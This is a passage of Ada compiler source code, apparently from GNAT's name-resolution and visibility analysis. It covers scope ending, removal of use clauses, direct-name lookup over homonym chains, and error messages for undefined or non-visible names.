Is_Generic_Unit (Old_E) then Error_Msg_N ("renamed generic unit must be a library unit", Name (N)); elsif Is_Package_Or_Generic_Package (Old_E) then -- Inherit categorization flags New_E := Defining_Entity (N); Set_Is_Pure (New_E, Is_Pure (Old_E)); Set_Is_Preelaborated (New_E, Is_Preelaborated (Old_E)); Set_Is_Remote_Call_Interface (New_E, Is_Remote_Call_Interface (Old_E)); Set_Is_Remote_Types (New_E, Is_Remote_Types (Old_E)); Set_Is_Shared_Passive (New_E, Is_Shared_Passive (Old_E)); end if; end Check_Library_Unit_Renaming; ------------------------ -- Enclosing_Instance -- ------------------------ function Enclosing_Instance return Entity_Id is S : Entity_Id; begin if not Is_Generic_Instance (Current_Scope) then return Empty; end if; S := Scope (Current_Scope); while S /= Standard_Standard loop if Is_Generic_Instance (S) then return S; end if; S := Scope (S); end loop; return Empty; end Enclosing_Instance; --------------- -- End_Scope -- --------------- procedure End_Scope is Id : Entity_Id; Prev : Entity_Id; Outer : Entity_Id; begin Id := First_Entity (Current_Scope); while Present (Id) loop -- An entity in the current scope is not necessarily the first one -- on its homonym chain. Find its predecessor if any, -- If it is an internal entity, it will not be in the visibility -- chain altogether, and there is nothing to unchain. if Id /= Current_Entity (Id) then Prev := Current_Entity (Id); while Present (Prev) and then Present (Homonym (Prev)) and then Homonym (Prev) /= Id loop Prev := Homonym (Prev); end loop; -- Skip to end of loop if Id is not in the visibility chain if No (Prev) or else Homonym (Prev) /= Id then goto Next_Ent; end if; else Prev := Empty; end if; Set_Is_Immediately_Visible (Id, False); Outer := Homonym (Id); while Present (Outer) and then Scope (Outer) = Current_Scope loop Outer := Homonym (Outer); end loop; -- Reset homonym link of other entities, but do not modify link -- between entities in current scope, so that the back-end can have -- a proper count of local overloadings. if No (Prev) then Set_Name_Entity_Id (Chars (Id), Outer); elsif Scope (Prev) /= Scope (Id) then Set_Homonym (Prev, Outer); end if; <<Next_Ent>> Next_Entity (Id); end loop; -- If the scope generated freeze actions, place them before the -- current declaration and analyze them. Type declarations and -- the bodies of initialization procedures can generate such nodes. -- We follow the parent chain until we reach a list node, which is -- the enclosing list of declarations. If the list appears within -- a protected definition, move freeze nodes outside the protected -- type altogether. if Present (Scope_Stack.Table (Scope_Stack.Last).Pending_Freeze_Actions) then declare Decl : Node_Id; L : constant List_Id := Scope_Stack.Table (Scope_Stack.Last).Pending_Freeze_Actions; begin if Is_Itype (Current_Scope) then Decl := Associated_Node_For_Itype (Current_Scope); else Decl := Parent (Current_Scope); end if; Pop_Scope; while not (Is_List_Member (Decl)) or else Nkind_In (Parent (Decl), N_Protected_Definition, N_Task_Definition) loop Decl := Parent (Decl); end loop; Insert_List_Before_And_Analyze (Decl, L); end; else Pop_Scope; end if; end End_Scope; --------------------- -- End_Use_Clauses -- --------------------- procedure End_Use_Clauses (Clause : Node_Id) is U : Node_Id; begin -- Remove Use_Type clauses first, because they affect the -- visibility of operators in subsequent used packages. U := Clause; while Present (U) loop if Nkind (U) = N_Use_Type_Clause then End_Use_Type (U); end if; Next_Use_Clause (U); end loop; U := Clause; while Present (U) loop if Nkind (U) = N_Use_Package_Clause then End_Use_Package (U); end if; Next_Use_Clause (U); end loop; end End_Use_Clauses; --------------------- -- End_Use_Package -- --------------------- procedure End_Use_Package (N : Node_Id) is Pack_Name : Node_Id; Pack : Entity_Id; Id : Entity_Id; Elmt : Elmt_Id; function Is_Primitive_Operator_In_Use (Op : Entity_Id; F : Entity_Id) return Boolean; -- Check whether Op is a primitive operator of a use-visible type ---------------------------------- -- Is_Primitive_Operator_In_Use -- ---------------------------------- function Is_Primitive_Operator_In_Use (Op : Entity_Id; F : Entity_Id) return Boolean is T : constant Entity_Id := Base_Type (Etype (F)); begin return In_Use (T) and then Scope (T) = Scope (Op); end Is_Primitive_Operator_In_Use; -- Start of processing for End_Use_Package begin Pack_Name := First (Names (N)); while Present (Pack_Name) loop -- Test that Pack_Name actually denotes a package before processing if Is_Entity_Name (Pack_Name) and then Ekind (Entity (Pack_Name)) = E_Package then Pack := Entity (Pack_Name); if In_Open_Scopes (Pack) then null; elsif not Redundant_Use (Pack_Name) then Set_In_Use (Pack, False); Set_Current_Use_Clause (Pack, Empty); Id := First_Entity (Pack); while Present (Id) loop -- Preserve use-visibility of operators that are primitive -- operators of a type that is use-visible through an active -- use_type clause. if Nkind (Id) = N_Defining_Operator_Symbol and then (Is_Primitive_Operator_In_Use (Id, First_Formal (Id)) or else (Present (Next_Formal (First_Formal (Id))) and then Is_Primitive_Operator_In_Use (Id, Next_Formal (First_Formal (Id))))) then null; else Set_Is_Potentially_Use_Visible (Id, False); end if; if Is_Private_Type (Id) and then Present (Full_View (Id)) then Set_Is_Potentially_Use_Visible (Full_View (Id), False); end if; Next_Entity (Id); end loop; if Present (Renamed_Object (Pack)) then Set_In_Use (Renamed_Object (Pack), False); Set_Current_Use_Clause (Renamed_Object (Pack), Empty); end if; if Chars (Pack) = Name_System and then Scope (Pack) = Standard_Standard and then Present_System_Aux then Id := First_Entity (System_Aux_Id); while Present (Id) loop Set_Is_Potentially_Use_Visible (Id, False); if Is_Private_Type (Id) and then Present (Full_View (Id)) then Set_Is_Potentially_Use_Visible (Full_View (Id), False); end if; Next_Entity (Id); end loop; Set_In_Use (System_Aux_Id, False); end if; else Set_Redundant_Use (Pack_Name, False); end if; end if; Next (Pack_Name); end loop; if Present (Hidden_By_Use_Clause (N)) then Elmt := First_Elmt (Hidden_By_Use_Clause (N)); while Present (Elmt) loop declare E : constant Entity_Id := Node (Elmt); begin -- Reset either Use_Visibility or Direct_Visibility, depending -- on how the entity was hidden by the use clause. if In_Use (Scope (E)) and then Used_As_Generic_Actual (Scope (E)) then Set_Is_Potentially_Use_Visible (Node (Elmt)); else Set_Is_Immediately_Visible (Node (Elmt)); end if; Next_Elmt (Elmt); end; end loop; Set_Hidden_By_Use_Clause (N, No_Elist); end if; end End_Use_Package; ------------------ -- End_Use_Type -- ------------------ procedure End_Use_Type (N : Node_Id) is Elmt : Elmt_Id; Id : Entity_Id; T : Entity_Id; -- Start of processing for End_Use_Type begin Id := First (Subtype_Marks (N)); while Present (Id) loop -- A call to Rtsfind may occur while analyzing a use_type clause, -- in which case the type marks are not resolved yet, and there is -- nothing to remove. if not Is_Entity_Name (Id) or else No (Entity (Id)) then goto Continue; end if; T := Entity (Id); if T = Any_Type or else From_Limited_With (T) then null; -- Note that the use_type clause may mention a subtype of the type -- whose primitive operations have been made visible. Here as -- elsewhere, it is the base type that matters for visibility. elsif In_Open_Scopes (Scope (Base_Type (T))) then null; elsif not Redundant_Use (Id) then Set_In_Use (T, False); Set_In_Use (Base_Type (T), False); Set_Current_Use_Clause (T, Empty); Set_Current_Use_Clause (Base_Type (T), Empty); end if; <<Continue>> Next (Id); end loop; if Is_Empty_Elmt_List (Used_Operations (N)) then return; else Elmt := First_Elmt (Used_Operations (N)); while Present (Elmt) loop Set_Is_Potentially_Use_Visible (Node (Elmt), False); Next_Elmt (Elmt); end loop; end if; end End_Use_Type; ---------------------- -- Find_Direct_Name -- ---------------------- procedure Find_Direct_Name (N : Node_Id) is E : Entity_Id; E2 : Entity_Id; Msg : Boolean; Inst : Entity_Id := Empty; -- Enclosing instance, if any Homonyms : Entity_Id; -- Saves start of homonym chain Nvis_Entity : Boolean; -- Set True to indicate that there is at least one entity on the homonym -- chain which, while not visible, is visible enough from the user point -- of view to warrant an error message of "not visible" rather than -- undefined. Nvis_Is_Private_Subprg : Boolean := False; -- Ada 2005 (AI-262): Set True to indicate that a form of Beaujolais -- effect concerning library subprograms has been detected. Used to -- generate the precise error message. function From_Actual_Package (E : Entity_Id) return Boolean; -- Returns true if the entity is an actual for a package that is itself -- an actual for a formal package of the current instance. Such an -- entity requires special handling because it may be use-visible but -- hides directly visible entities defined outside the instance, because -- the corresponding formal did so in the generic. function Is_Actual_Parameter return Boolean; -- This function checks if the node N is an identifier that is an actual -- parameter of a procedure call. If so it returns True, otherwise it -- return False. The reason for this check is that at this stage we do -- not know what procedure is being called if the procedure might be -- overloaded, so it is premature to go setting referenced flags or -- making calls to Generate_Reference. We will wait till Resolve_Actuals -- for that processing function Known_But_Invisible (E : Entity_Id) return Boolean; -- This function determines whether a reference to the entity E, which -- is not visible, can reasonably be considered to be known to the -- writer of the reference. This is a heuristic test, used only for -- the purposes of figuring out whether we prefer to complain that an -- entity is undefined or invisible (and identify the declaration of -- the invisible entity in the latter case). The point here is that we -- don't want to complain that something is invisible and then point to -- something entirely mysterious to the writer. procedure Nvis_Messages; -- Called if there are no visible entries for N, but there is at least -- one non-directly visible, or hidden declaration. This procedure -- outputs an appropriate set of error messages. procedure Undefined (Nvis : Boolean); -- This function is called if the current node has no corresponding -- visible entity or entities. The value set in Msg indicates whether -- an error message was generated (multiple error messages for the -- same variable are generally suppressed, see body for details). -- Msg is True if an error message was generated, False if not. This -- value is used by the caller to determine whether or not to output -- additional messages where appropriate. The parameter is set False -- to get the message "X is undefined", and True to get the message -- "X is not visible". ------------------------- -- From_Actual_Package -- ------------------------- function From_Actual_Package (E : Entity_Id) return Boolean is Scop : constant Entity_Id := Scope (E); -- Declared scope of candidate entity Act : Entity_Id; function Declared_In_Actual (Pack : Entity_Id) return Boolean; -- Recursive function that does the work and examines actuals of -- actual packages of current instance. ------------------------ -- Declared_In_Actual -- ------------------------ function Declared_In_Actual (Pack : Entity_Id) return Boolean is Act : Entity_Id; begin if No (Associated_Formal_Package (Pack)) then return False; else Act := First_Entity (Pack); while Present (Act) loop if Renamed_Object (Pack) = Scop then return True; -- Check for end of list of actuals. elsif Ekind (Act) = E_Package and then Renamed_Object (Act) = Pack then return False; elsif Ekind (Act) = E_Package and then Declared_In_Actual (Act) then return True; end if; Next_Entity (Act); end loop; return False; end if; end Declared_In_Actual; -- Start of processing for From_Actual_Package begin if not In_Instance then return False; else Inst := Current_Scope; while Present (Inst) and then Ekind (Inst) /= E_Package and then not Is_Generic_Instance (Inst) loop Inst := Scope (Inst); end loop; if No (Inst) then return False; end if; Act := First_Entity (Inst); while Present (Act) loop if Ekind (Act) = E_Package and then Declared_In_Actual (Act) then return True; end if; Next_Entity (Act); end loop; return False; end if; end From_Actual_Package; ------------------------- -- Is_Actual_Parameter -- ------------------------- function Is_Actual_Parameter return Boolean is begin return Nkind (N) = N_Identifier and then (Nkind (Parent (N)) = N_Procedure_Call_Statement or else (Nkind (Parent (N)) = N_Parameter_Association and then N = Explicit_Actual_Parameter (Parent (N)) and then Nkind (Parent (Parent (N))) = N_Procedure_Call_Statement)); end Is_Actual_Parameter; ------------------------- -- Known_But_Invisible -- ------------------------- function Known_But_Invisible (E : Entity_Id) return Boolean is Fname : File_Name_Type; begin -- Entities in Standard are always considered to be known if Sloc (E) <= Standard_Location then return True; -- An entity that does not come from source is always considered -- to be unknown, since it is an artifact of code expansion. elsif not Comes_From_Source (E) then return False; -- In gnat internal mode, we consider all entities known. The -- historical reason behind this discrepancy is not known??? But the -- only effect is to modify the error message given, so it is not -- critical. Since it only affects the exact wording of error -- messages in illegal programs, we do not mention this as an -- effect of -gnatg, since it is not a language modification. elsif GNAT_Mode then return True; end if; -- Here we have an entity that is not from package Standard, and -- which comes from Source. See if it comes from an internal file. Fname := Unit_File_Name (Get_Source_Unit (E)); -- Case of from internal file if Is_Internal_File_Name (Fname) then -- Private part entities in internal files are never considered -- to be known to the writer of normal application code. if Is_Hidden (E) then return False; end if; -- Entities from System packages other than System and -- System.Storage_Elements are not considered to be known. -- System.Auxxxx files are also considered known to the user. -- Should refine this at some point to generally distinguish -- between known and unknown internal files ??? Get_Name_String (Fname); return Name_Len < 2 or else Name_Buffer (1 .. 2) /= "s-" or else Name_Buffer (3 .. 8) = "stoele" or else Name_Buffer (3 .. 5) = "aux"; -- If not an internal file, then entity is definitely known, even if -- it is in a private part (the message generated will note that it -- is in a private part). else return True; end if; end Known_But_Invisible; ------------------- -- Nvis_Messages -- ------------------- procedure Nvis_Messages is Comp_Unit : Node_Id; Ent : Entity_Id; Found : Boolean := False; Hidden : Boolean := False; Item : Node_Id; begin -- Ada 2005 (AI-262): Generate a precise error concerning the -- Beaujolais effect that was previously detected if Nvis_Is_Private_Subprg then pragma Assert (Nkind (E2) = N_Defining_Identifier and then Ekind (E2) = E_Function and then Scope (E2) = Standard_Standard and then Has_Private_With (E2)); -- Find the sloc corresponding to the private with'ed unit Comp_Unit := Cunit (Current_Sem_Unit); Error_Msg_Sloc := No_Location; Item := First (Context_Items (Comp_Unit)); while Present (Item) loop if Nkind (Item) = N_With_Clause and then Private_Present (Item) and then Entity (Name (Item)) = E2 then Error_Msg_Sloc := Sloc (Item); exit; end if; Next (Item); end loop; pragma Assert (Error_Msg_Sloc /= No_Location); Error_Msg_N ("(Ada 2005): hidden by private with clause #", N); return; end if; Undefined (Nvis => True); if Msg then -- First loop does hidden declarations Ent := Homonyms; while Present (Ent) loop if Is_Potentially_Use_Visible (Ent) then if not Hidden then Error_Msg_N -- CODEFIX ("multiple use clauses cause hiding!", N); Hidden := True; end if; Error_Msg_Sloc := Sloc (Ent); Error_Msg_N -- CODEFIX ("hidden declaration#!", N); end if; Ent := Homonym (Ent); end loop; -- If we found hidden declarations, then that's enough, don't -- bother looking for non-visible declarations as well. if Hidden then return; end if; -- Second loop does non-directly visible declarations Ent := Homonyms; while Present (Ent) loop if not Is_Potentially_Use_Visible (Ent) then -- Do not bother the user with unknown entities if not Known_But_Invisible (Ent) then goto Continue; end if; Error_Msg_Sloc := Sloc (Ent); -- Output message noting that there is a non-visible -- declaration, distinguishing the private part case. if Is_Hidden (Ent) then Error_Msg_N ("non-visible (private) declaration#!", N); -- If the entity is declared in a generic package, it -- cannot be visible, so there is no point in adding it -- to the list of candidates if another homograph from a -- non-generic package has been seen. elsif Ekind (Scope (Ent)) = E_Generic_Package and then Found then null; else Error_Msg_N -- CODEFIX ("non-visible declaration#!", N); if Ekind (Scope (Ent)) /= E_Generic_Package then Found := True; end if; if Is_Compilation_Unit (Ent) and then Nkind (Parent (Parent (N))) = N_Use_Package_Clause then Error_Msg_Qual_Level := 99; Error_Msg_NE -- CODEFIX ("\\missing `WITH &;`", N, Ent); Error_Msg_Qual_Level := 0; end if; if Ekind (Ent) = E_Discriminant and then Present (Corresponding_Discriminant (Ent)) and then Scope (Corresponding_Discriminant (Ent)) = Etype (Scope (Ent)) then Error_Msg_N ("inherited discriminant not allowed here" & " (RM 3.8 (12), 3.8.1 (6))!", N); end if; end if; -- Set entity and its containing package as referenced. We -- can't be sure of this, but this seems a better choice -- to avoid unused entity messages. if Comes_From_Source (Ent) then Set_Referenced (Ent); Set_Referenced (Cunit_Entity (Get_Source_Unit (Ent))); end if; end if; <<Continue>> Ent := Homonym (Ent); end loop; end if; end Nvis_Messages; --------------- -- Undefined -- --------------- procedure Undefined (Nvis : Boolean) is Emsg : Error_Msg_Id; begin -- We should never find an undefined internal name. If we do, then -- see if we have previous errors. If so, ignore on the grounds that -- it is probably a cascaded message (e.g. a block label from a badly -- formed block). If no previous errors, then we have a real internal -- error of some kind so raise an exception. if Is_Internal_Name (Chars (N)) then if Total_Errors_Detected /= 0 then return; else raise Program_Error; end if; end if; -- A very specialized error check, if the undefined variable is -- a case tag, and the case type is an enumeration type, check -- for a possible misspelling, and if so, modify the identifier -- Named aggregate should also be handled similarly ??? if Nkind (N) = N_Identifier and then Nkind (Parent (N)) = N_Case_Statement_Alternative then declare Case_Stm : constant Node_Id := Parent (Parent (N)); Case_Typ : constant Entity_Id := Etype (Expression (Case_Stm)); Lit : Node_Id; begin if Is_Enumeration_Type (Case_Typ) and then not Is_Standard_Character_Type (Case_Typ) then Lit := First_Literal (Case_Typ); Get_Name_String (Chars (Lit)); if Chars (Lit) /= Chars (N) and then Is_Bad_Spelling_Of (Chars (N), Chars (Lit)) then Error_Msg_Node_2 := Lit; Error_Msg_N -- CODEFIX ("& is undefined, assume misspelling of &", N); Rewrite (N, New_Occurrence_Of (Lit, Sloc (N))); return; end if; Lit := Next_Literal (Lit); end if; end; end if; -- Normal processing Set_Entity (N, Any_Id); Set_Etype (N, Any_Type); -- We use the table Urefs to keep track of entities for which we -- have issued errors for undefined references. Multiple errors -- for a single name are normally suppressed, however we modify -- the error message to alert the programmer to this effect. for J in Urefs.First .. Urefs.Last loop if Chars (N) = Chars (Urefs.Table (J).Node) then if Urefs.Table (J).Err /= No_Error_Msg and then Sloc (N) /= Urefs.Table (J).Loc then Error_Msg_Node_1 := Urefs.Table (J).Node; if Urefs.Table (J).Nvis then Change_Error_Text (Urefs.Table (J).Err, "& is not visible (more references follow)"); else Change_Error_Text (Urefs.Table (J).Err, "& is undefined (more references follow)"); end if; Urefs.Table (J).Err := No_Error_Msg; end if; -- Although we will set Msg False, and thus suppress the -- message, we also set Error_Posted True, to avoid any -- cascaded messages resulting from the undefined reference. Msg := False; Set_Error_Posted (N, True); return; end if; end loop; -- If entry not found, this is first undefined occurrence if Nvis then Error_Msg_N ("& is not visible!", N); Emsg := Get_Msg_Id; else Error_Msg_N ("& is undefined!", N); Emsg := Get_Msg_Id; -- A very bizarre special check, if the undefined identifier -- is put or put_line, then add a special error message (since -- this is a very common error for beginners to make). if Nam_In (Chars (N), Name_Put, Name_Put_Line) then Error_Msg_N -- CODEFIX ("\\possible missing `WITH Ada.Text_'I'O; " & "USE Ada.Text_'I'O`!", N); -- Another special check if N is the prefix of a selected -- component which is a known unit, add message complaining -- about missing with for this unit. elsif Nkind (Parent (N)) = N_Selected_Component and then N = Prefix (Parent (N)) and then Is_Known_Unit (Parent (N)) then Error_Msg_Node_2 := Selector_Name (Parent (N)); Error_Msg_N -- CODEFIX ("\\missing `WITH &.&;`", Prefix (Parent (N))); end if; -- Now check for possible misspellings declare E : Entity_Id; Ematch : Entity_Id := Empty; Last_Name_Id : constant Name_Id := Name_Id (Nat (First_Name_Id) + Name_Entries_Count - 1); begin for Nam in First_Name_Id .. Last_Name_Id loop E := Get_Name_Entity_Id (Nam); if Present (E) and then (Is_Immediately_Visible (E) or else Is_Potentially_Use_Visible (E)) then if Is_Bad_Spelling_Of (Chars (N), Nam) then Ematch := E; exit; end if; end if; end loop; if Present (Ematch) then Error_Msg_NE -- CODEFIX ("\possible misspelling of&", N, Ematch); end if; end; end if; -- Make entry in undefined references table unless the full errors -- switch is set, in which case by refraining from generating the -- table entry, we guarantee that we get an error message for every -- undefined reference. if not All_Errors_Mode then Urefs.Append ( (Node => N, Err => Emsg, Nvis => Nvis, Loc => Sloc (N))); end if; Msg := True; end Undefined; -- Start of processing for Find_Direct_Name begin -- If the entity pointer is already set, this is an internal node, or -- a node that is analyzed more than once, after a tree modification. -- In such a case there is no resolution to perform, just set the type. if Present (Entity (N)) then if Is_Type (Entity (N)) then Set_Etype (N, Entity (N)); else declare Entyp : constant Entity_Id := Etype (Entity (N)); begin -- One special case here. If the Etype field is already set, -- and references the packed array type corresponding to the -- etype of the referenced entity, then leave it alone. This -- happens for trees generated from Exp_Pakd, where expressions -- can be deliberately "mis-typed" to the packed array type. if Is_Array_Type (Entyp) and then Is_Packed (Entyp) and then Present (Etype (N)) and then Etype (N) = Packed_Array_Impl_Type (Entyp) then null; -- If not that special case, then just reset the Etype else Set_Etype (N, Etype (Entity (N))); end if; end; end if; return; end if; -- Here if Entity pointer was not set, we need full visibility analysis -- First we generate debugging output if the debug E flag is set. if Debug_Flag_E then Write_Str ("Looking for "); Write_Name (Chars (N)); Write_Eol; end if; Homonyms := Current_Entity (N); Nvis_Entity := False; E := Homonyms; while Present (E) loop -- If entity is immediately visible or potentially use visible, then -- process the entity and we are done. if Is_Immediately_Visible (E) then goto Immediately_Visible_Entity; elsif Is_Potentially_Use_Visible (E) then goto Potentially_Use_Visible_Entity; -- Note if a known but invisible entity encountered elsif Known_But_Invisible (E) then Nvis_Entity := True; end if; -- Move to next entity in chain and continue search E := Homonym (E); end loop; -- If no entries on homonym chain that were potentially visible, -- and no entities reasonably considered as non-visible, then -- we have a plain undefined reference, with no additional -- explanation required. if not Nvis_Entity then Undefined (Nvis => False); -- Otherwise there is at least one entry on the homonym chain that -- is reasonably considered as being known and non-visible. else Nvis_Messages; end if; goto Done; -- Processing for a potentially use visible entry found. We must search -- the rest of the homonym chain for two reasons. First, if there is a -- directly visible entry, then none of the potentially use-visible -- entities are directly visible (RM 8.4(10)). Second, we need to check -- for the case of multiple potentially use-visible entries hiding one -- another and as a result being non-directly visible (RM 8.4(11)). <<Potentially_Use_Visible_Entity>> declare Only_One_Visible : Boolean := True; All_Overloadable : Boolean := Is_Overloadable (E); begin E2 := Homonym (E); while Present (E2) loop if Is_Immediately_Visible (E2) then -- If the use-visible entity comes from the actual for a -- formal package, it hides a directly visible entity from -- outside the instance. if From_Actual_Package (E) and then Scope_Depth (E2) < Scope_Depth (Inst) then goto Found; else E := E2; goto Immediately_Visible_Entity; end if; elsif Is_Potentially_Use_Visible (E2) then Only_One_Visible := False; All_Overloadable := All_Overloadable and Is_Overloadable (E2); -- Ada 2005 (AI-262): Protect against a form of Beaujolais effect -- that can occur in private_with clauses. Example: -- with A; -- private with B; package A is -- package C is function B return Integer; -- use A; end A; -- V1 : Integer := B; -- private function B return Integer; -- V2 : Integer := B; -- end C; -- V1 resolves to A.B, but V2 resolves to library unit B elsif Ekind (E2) = E_Function and then Scope (E2) = Standard_Standard and then Has_Private_With (E2) then Only_One_Visible := False; All_Overloadable := False; Nvis_Is_Private_Subprg := True; exit; end if; E2 := Homonym (E2); end loop; -- On falling through this loop, we have checked that there are no -- immediately visible entities. Only_One_Visible is set if exactly -- one potentially use visible entity exists. All_Overloadable is -- set if all the potentially use visible entities are overloadable. -- The condition for legality is that either there is one potentially -- use visible entity, or if there is more than one, then all of them -- are overloadable. if Only_One_Visible or All_Overloadable then goto Found; -- If there is more than one potentially use-visible entity and at -- least one of them non-overloadable, we have an error (RM 8.4(11)). -- Note that E points to the first such entity on the homonym list. -- Special case: if one of the entities is declared in an actual -- package, it was visible in the generic, and takes precedence over -- other entities that are potentially use-visible. Same if it is -- declared in a local instantiation of the current instance. else if In_Instance then -- Find current instance Inst := Current_Scope; while Present (Inst) and then Inst /= Standard_Standard loop if Is_Generic_Instance (Inst) then exit; end if; Inst := Scope (Inst); end loop; E2 := E; while Present (E2) loop if From_Actual_Package (E2) or else (Is_Generic_Instance (Scope (E2)) and then Scope_Depth (Scope (E2)) > Scope_Depth (Inst)) then E := E2; goto Found; end if; E2 := Homonym (E2); end loop; Nvis_Messages; goto Done; elsif Is_Predefined_File_Name (Unit_File_Name (Current_Sem_Unit)) then -- A use-clause in the body of a system file creates conflict -- with some entity in a user scope, while rtsfind is active. -- Keep only the entity coming from another predefined unit. E2 := E; while Present (E2) loop if Is_Predefined_File_Name (Unit_File_Name (Get_Source_Unit (Sloc (E2)))) then E := E2; goto Found; end if; E2 := Homonym (E2); end loop; -- Entity must exist because predefined unit is correct raise Program_Error; else Nvis_Messages; goto Done; end if; end if; end; -- Come here with E set to the first immediately visible entity on -- the homonym chain. This is the one we want unless there is another -- immediately visible entity further on in the chain for an inner -- scope (RM 8.3(8)). <<Immediately_Visible_Entity>> declare Level : Int; Scop : Entity_Id; begin -- Find scope level of initial entity. When compiling through -- Rtsfind, the previous context is not completely invisible, and -- an outer entity may appear on the chain, whose scope is below -- the entry for Standard that delimits the current scope stack. -- Indicate that the level for this spurious entry is outside of -- the current scope stack. Level := Scope_Stack.Last; loop Scop := Scope_Stack.Table (Level).Entity; exit when Scop = Scope (E); Level := Level - 1; exit when Scop = Standard_Standard; end loop; -- Now search remainder of homonym chain for more inner entry -- If the entity is Standard itself, it has no scope, and we -- compare it with the stack entry directly. E2 := Homonym (E); while Present (E2) loop if Is_Immediately_Visible (E2) then -- If a generic package contains a local declaration that -- has the same name as the generic, there may be a visibility -- conflict in an instance, where the local declaration must -- also hide the name of the corresponding package renaming. -- We check explicitly for a package declared by a renaming, -- whose renamed entity is an instance that is on the scope -- stack, and that contains a homonym in the same scope. Once -- we have found it, we know that the package renaming is not -- immediately visible, and that the identifier denotes the -- other entity (and its homonyms if overloaded). if Scope (E) = Scope (E2) and then Ekind (E) = E_Package and then Present (Renamed_Object (E)) and then Is_Generic_Instance (Renamed_Object (E)) and then In_Open_Scopes (Renamed_Object (E)) and then Comes_From_Source (N) then Set_Is_Immediately_Visible (E, False); E := E2; else for J in Level + 1 .. Scope_Stack.Last loop if Scope_Stack.Table (J).Entity = Scope (E2) or else Scope_Stack.Table (J).Entity = E2 then Level := J; E := E2; exit; end if; end loop; end if; end if; E2 := Homonym (E2); end loop; -- At the end of that loop, E is the innermost immediately -- visible entity, so we are all set. end; -- Come here with entity found, and stored in E <<Found>> begin -- Check violation of No_Wide_Characters restriction Check_Wide_Character_Restriction (E, N); -- When distribution features are available (Get_PCS_Name /= -- Name_No_DSA), a remote access-to-subprogram type is converted -- into a record type holding whatever information is needed to -- perform a remote call on an RCI subprogram. In that case we -- rewrite any occurrence of the RAS type into the equivalent record -- type here. 'Access attribute references and RAS dereferences are -- then implemented using specific TSSs. However when distribution is -- not available (case of Get_PCS_Name = Name_No_DSA), we bypass the -- generation of these TSSs, and we must keep the RAS type in its -- original access-to-subprogram form (since all calls through a -- value of such type will be local anyway in the absence of a PCS). if Comes_From_Source (N) and then Is_Remote_Access_To_Subprogram_Type (E) and then Ekind (E) = E_Access_Subprogram_Type and then Expander_Active and then Get_PCS_Name /= Name_No_DSA then Rewrite (N, New_Occurrence_Of (Equivalent_Type (E), Sloc (N))); goto Done; end if; -- Set the entity. Note that the reason we call Set_Entity for the -- overloadable case, as opposed to Set_Entity_With_Checks is -- that in the overloaded case, the initial call can set the wrong -- homonym. The call that sets the right homonym is in Sem_Res and -- that call does use Set_Entity_With_Checks, so we don't miss -- a style check. if Is_Overloadable (E) then Set_Entity (N, E); else Set_Entity_With_Checks (N, E); end if; if Is_Type (E) then Set_Etype (N, E); else Set_Etype (N, Get_Full_View (Etype (E))); end if; if Debug_Flag_E then Write_Str (" found "); Write_Entity_Info (E, " "); end if; -- If the Ekind of the entity is Void, it means that all homonyms -- are hidden from all visibility (RM 8.3(5,14-20)). However, this -- test is skipped if the current scope is a record and the name is -- a pragma argument expression (case of Atomic and Volatile pragmas -- and possibly other similar pragmas added later, which are allowed -- to reference components in the current record). if Ekind (E) = E_Void and then (not Is_Record_Type (Current_Scope) or else Nkind (Parent (N)) /= N_Pragma_Argument_Association) then Premature_Usage (N); -- If the entity is overloadable, collect all interpretations of the -- name for subsequent overload resolution. We optimize a bit here to -- do this only if we have an overloadable entity that is not on its -- own on the homonym chain. elsif Is_Overloadable (E) and then (Present (Homonym (E)) or else Current_Entity (N) /= E) then Collect_Interps (N); -- If no homonyms were visible, the entity is unambiguous if not Is_Overloaded (N) then if not Is_Actual_Parameter then Generate_Reference (E, N); end if; end if; -- Case of non-overloadable entity, set the entity providing that -- we do not have the case of a discriminant reference within a -- default expression. Such references are replaced with the -- corresponding discriminal, which is the formal corresponding to -- to the discriminant in the initialization procedure. else -- Entity is unambiguous, indicate that it is referenced here -- For a renaming of an object, always generate simple reference, -- we don't try to keep track of assignments in this case, except -- in SPARK mode where renamings are traversed for generating -- local effects of subprograms. if Is_Object (E) and then Present (Renamed_Object (E)) and then not GNATprove_Mode then Generate_Reference (E, N); -- If the renamed entity is a private protected component, -- reference the original component as well. This needs to be -- done because the private renamings are installed before any -- analysis has occurred. Reference to a private component will -- resolve to the renaming and the original component will be -- left unreferenced, hence the following. if Is_Prival (E) then Generate_Reference (Prival_Link (E), N); end if; -- One odd case is that we do not want to set the Referenced flag -- if the entity is a label, and the identifier is the label in -- the source, since this is not a reference from the point of -- view of the user. elsif Nkind (Parent (N)) = N_Label then declare R : constant Boolean := Referenced (E); begin -- Generate reference unless this is an actual parameter -- (see comment below) if Is_Actual_Parameter then Generate_Reference (E, N); Set_Referenced (E, R); end if; end; -- Normal case, not a label: generate reference else if not Is_Actual_Parameter then -- Package or generic package is always a simple reference if Ekind_In (E, E_Package, E_Generic_Package) then Generate_Reference (E, N, 'r'); -- Else see if we have a left hand side else case Is_LHS (N) is when Yes => Generate_Reference (E, N, 'm'); when No => Generate_Reference (E, N, 'r'); -- If we don't know now, generate reference later when Unknown => Deferred_References.Append ((E, N)); end case; end if; end if; end if; Set_Entity_Or_Discriminal (N, E); -- The name may designate a generalized reference, in which case -- the dereference interpretation will be included. Context is -- one in which a name is legal. if Ada_Version >= Ada_2012 and then (Nkind (Parent (N)) in N_Subexpr or else Nkind_In (Parent (N), N_Assignment_Statement, N_Object_Declaration, N_Parameter_Association)) then Check_Implicit_Dereference (N, Etype (E)); end if; end if; end; -- Come here with entity set <<Done>> Check_Restriction_No_Use_Of_Entity (N); end Find_Direct_Name; ------------------------ -- Find_Expanded_Name -- ------------------------ -- This routine searches the homonym chain of the entity until it finds -- an entity declared in the scope denoted by the prefix. If the entity -- is private, it may nevertheless be immediately visible, if we are in -- the scope of its declaration. procedure Find_Expanded_Name (N : Node_Id) is function In_Abstract_View_Pragma (Nod : Node_Id) return Boolean; -- Determine whether expanded name Nod appears within a pragma which is -- a suitable context for an abstract view of a state or variable. The -- following pragmas fall in this category: -- Depends -- Global -- Initializes -- Refined_Depends -- Refined_Global -- -- In addition, pragma Abstract_State is also considered suitable even -- though it is an illegal context for an abstract view as this allows -- for proper resolution of abstract views of variables. This illegal -- context is later flagged in the analysis of indicator Part_Of. ----------------------------- -- In_Abstract_View_Pragma -- ----------------------------- function In_Abstract_View_Pragma (Nod : Node_Id) return Boolean is Par : Node_Id; begin -- Climb the parent chain looking for a pragma Par := Nod; while Present (Par) loop if Nkind (Par) = N_Pragma then if Nam_In (Pragma_Name_Unmapped (Par), Name_Abstract_State, Name_Depends, Name_Global, 